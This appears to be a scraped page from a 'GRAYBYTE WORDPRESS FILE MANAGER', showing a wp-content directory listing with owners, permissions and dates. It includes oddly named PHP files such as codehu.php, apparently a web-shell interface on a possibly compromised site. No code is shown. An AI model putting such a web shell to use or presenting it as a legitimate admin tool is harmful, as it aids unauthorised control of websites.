plugins
--
January 08 2026 18:57:57
sadasgfe / sadasgfe
0755
themes
--
December 24 2025 10:47:04
sadasgfe / sadasgfe
0755
updraft
--
April 28 2025 16:18:37
sadasgfe / sadasgfe
0755
upgrade
--
December 27 2025 14:05:20
sadasgfe / sadasgfe
0755
upgrade-temp-backup
--
December 25 2025 04:41:43
sadasgfe / sadasgfe
0755
uploads
--
January 01 2026 11:36:23
sadasgfe / sadasgfe
0755
codehu.php
64.82 KB
November 28 2025 03:14:40
sadasgfe / sadasgfe
0644
index.php
0.027 KB
January 08 2012 17:01:11
sadasgfe / sadasgfe
0644
wp-content.php
2.291 KB
February 11 2025 15:55:43
sadasgfe / sadasgfe
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF